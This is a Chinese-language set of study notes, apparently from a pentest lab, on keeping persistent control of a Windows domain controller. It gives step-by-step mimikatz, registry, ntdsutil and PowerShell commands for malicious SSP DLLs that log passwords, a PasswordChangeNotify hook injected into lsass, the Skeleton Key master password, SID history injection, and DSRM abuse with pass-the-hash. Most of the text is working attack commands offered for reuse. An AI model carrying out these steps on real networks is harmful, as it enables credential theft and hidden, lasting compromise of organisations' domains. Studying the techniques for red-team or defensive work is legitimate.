参考 https://www.cnblogs.com/lcxblogs/p/14216525.html
内网域-权限维持-基于验证DLL加载-SSP
方法一:
但如果域控制器重启,被注入内存的伪造的SSP将会丢失。意思就是重启了下面这个方式就不可以继续使用了
privilege::debug
misc::memssp 记录密码mimikatz 重启失效
在C:\Windows\System32\mimilsa.log 中会记录登录的账号密码
方法二:
使用此方法即使系统重启,也不会影响到持久化的效果。
1、mimilib.dll 传到目标域控的c:\windows\system32\目录下(dll文件记录密码,放在目录下类似环境变量)
2、修改注册表
查询注册表(这个查询好像没什么意义)
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
修改注册表 如果把前面的那个dll文件改名了这里修改注册表的操作里面也要改名
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
最后在 c:\windows\system32\kiwissp.log 记录账号密码文件
权限维持-基于验证DLL加载-HOOK
项目好像是
GitHub - 3gstudent/Hook-PasswordChangeNotify at d544aa61aa3394c673b63ac0875b71d79f7f09cb
或者
RichChigga/PasswordchangeNotify
方法一
基于本地密码的修改,将修改的密码写在该目录下,当然在编译的过程中也可以更改路径。
也就是对应上面第一个项目的链接
选择sln文件打开
然后修改属性页
然后生成
好吧废了我的版本太高了,将项目升级到我的vs版本又说缺什么MFC,搞不太懂直接看下面那个项目的
第二个项目里面都给你编译好了直接拿着用
powershell Import-Module
.\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
或把HookPasswordChange.dll放到域控中,下面的脚本包含上面两条命令。
所以直接运行即可
.\HookPasswordChangeNotify.ps1
我这里使用Invoke-ReflectivePEInjection.ps1爆了点错误无法运行。。。
方法二
第二个工具是可以远程发送的命令,也就是如果发生了密码的修改就将密码发送到vps上。这里复现失败。。。
内网域-权限维持-基于登录进程劫持-Skeleton Key
又称万能钥匙
1、测试域内某个用户与DC通讯
dir \\owa2010cn-god\c$
2、连接DC后,DC注入lsass进程
net use \owa2010cn-god\ipc$ “Admin12345” /user:god\administrator
mimikatz:
privilege::debug
misc::skeleton
3、重新测试域内某个用户与DC通讯
net use \\owa2010cn-god\ipc$ "mimikatz" /user:god\administrator
dir \\owa2010cn-god\c$
因为Skeleton Key技术是被注入到lsass.exe进程的,所以它只存在内存中,如域控重启,万能密码将失效。
也就是只要服务器不重启就会留下一个mimikatz的万能密码。
内网域-权限维持-基于用户属性修改-SID history
wmic useraccount get sid,name
一般来说值是1000以内的都是有管理员权限的
1、获取某用户SID属性:
powershell
Import-Module ActiveDirectory
Get-ADUser webadmin -Properties sidhistory
2、给予某用户administrator属性:
privilege::debug
sid::patch
sid::add /sam:user3 /new:administrator
未使用mimikatz前user3与域控通信
授予权限后
内网域-权限维持-基于机制账号启用-DSRM
概述:
DSRM(Diretcory Service Restore Mode,目录服务恢复模式)是windows域环境中域控制器的安全模式启动选项。域控制器的本地管理员账户也就是DSRM账户,DSRM密码是在DC创建时设置的,一般很少更改。DSRM的用途是:允许管理员在域环境出现故障时还原、修复、重建活动目录数据库。通过在DC上运行ntdsutil 工具可以修改DSRM密码。
利用流程:
1.获取dsrm及krbtgt的NTLM hash
privilege::debug
lsadump::lsa /patch /name:krbtgt
token::elevate
lsadump::sam
需要将krbtgt的账号启用😂
2.dsrm&krbtgt&NTLM hash同步
krbtgt在域搭建之后就不能修改了,所以将这个DSRM修改为何krbtgt同步就相当于是一个永久的存在的账户密码
NTDSUTIL:打开ntdsutil
set DSRM password:修改DSRM的密码
sync from domain account krbtgt(域用户名字):使DSRM的密码和指定域用户的密码同步
3、修改dsrm登录方式(0:不可登陆、1:只能本地登陆、2:可以远程登录)
powershell
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
4.利用PTH传递攻击
privilege::debug
sekurlsa::pth /domain:owa2010cn-god /user:administrator /ntlm:b097d7ed97495408e1537f706c357fc5
成功后会弹出cmd的窗口。。。容易被发现
但是可以使用这种方式的pth传递